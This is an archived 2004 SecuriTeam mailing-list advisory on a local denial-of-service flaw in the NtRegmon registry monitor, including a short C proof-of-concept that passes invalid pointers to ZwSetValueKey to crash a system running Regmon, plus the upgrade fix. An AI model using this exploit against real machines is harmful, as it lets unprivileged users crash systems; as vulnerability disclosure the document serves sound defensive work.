

[NT] NtRegmon Local Denial of Service

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0087.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/26/04

To: list@securiteam.com

Date: 26 Aug 2004 10:49:24 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

NtRegmon Local Denial of Service

SUMMARY

<<http://www.sysinternals.com/ntw2k/source/regmon.shtml>> NtRegmon is "a registry monitoring utility that will show you which applications are accessing your registry, which keys they are accessing, and the registry data that they are reading and writing – all in real-time".

For its task NtRegmon hooks some kernel mode functions (registry functions) for its logging purposes. Regmon suffer from an invalidated pointer referencing in some of this kernel hooks. While any privileged user is using NtRegmon, any local and unauthorized user can crash the system.

DETAILS

NtRegmon is a registry monitoring utility that will show you which applications are accessing your Registry, which keys they are accessing, and the registry data that they are reading and writing – all in real-time.

For its task NtRegmon hooks some kernel mode functions (registry functions) for its logging purposes.

Securiteam: [NT] NtRegmon Local Denial of Service

Regmon suffers from some invalidated pointer referencing in some of this kernel hooks. In example NtRegmon hooks ZwSetQueryValue declared as follows:

```
NTSTATUS ZwSetQueryValue(DWORD KeyHandle, DWORD ValueName, DWORD  
TitleIndex,  
        DWORD Type, DWORD Data, DWORD DataSize);
```

The problem exists because NtRegmon does not properly check if some argument pointers are valid or not. While any privileged user is using Regmon, any local and unauthorized user can crash the system.

Solution:

Upgrade to NtRegmon version 6.12 or newer.

Exploit:

```
/*  
 * ntregmon-dos.c (up to 6.11)  
 *  
 * Copyright (c) 2002-2004 By Next Generation Security S.L.  
 * All rights reserved  
 * http://www.ngsec.com  
 *  
 * Compiles with: cl ntregmon-dos.c  
 *  
 * Madrid, August 2004  
 */  
  
#include <windows.h>  
  
#define MY_NULL 0x01  
typedef DWORD (* zwsetvaluekey_TYPE)(DWORD KeyHandle, DWORD ValueName,  
DWORD TitleIndex, DWORD Type, DWORD Data, DWORD DataSize);  
  
int main(int argc, char *argv[]) {  
    HINSTANCE dll;  
    zwsetvaluekey_TYPE my_ZwSetValueKey;  
  
    if ((dll=LoadLibrary("ntdll.dll"))!=NULL) {  
  
        if  
        ((my_ZwSetValueKey=(zwsetvaluekey_TYPE)GetProcAddress(dll,"ZwSetValueKey"))!=NULL) {  
  
my_ZwSetValueKey(MY_NULL,MY_NULL,MY_NULL,MY_NULL,MY_NULL,MY_NULL);  
  
        }  
    }  
}
```

Securiteam: [NT] NtRegmon Local Denial of Service

ADDITIONAL INFORMATION

The information has been provided by <mailto:labs@ngsec.com> NGSEC.

The original article can be found at:

<<http://www.ngsec.com/docs/advisories/NGSEC-2004-7.txt>>

<http://www.ngsec.com/docs/advisories/NGSEC-2004-7.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.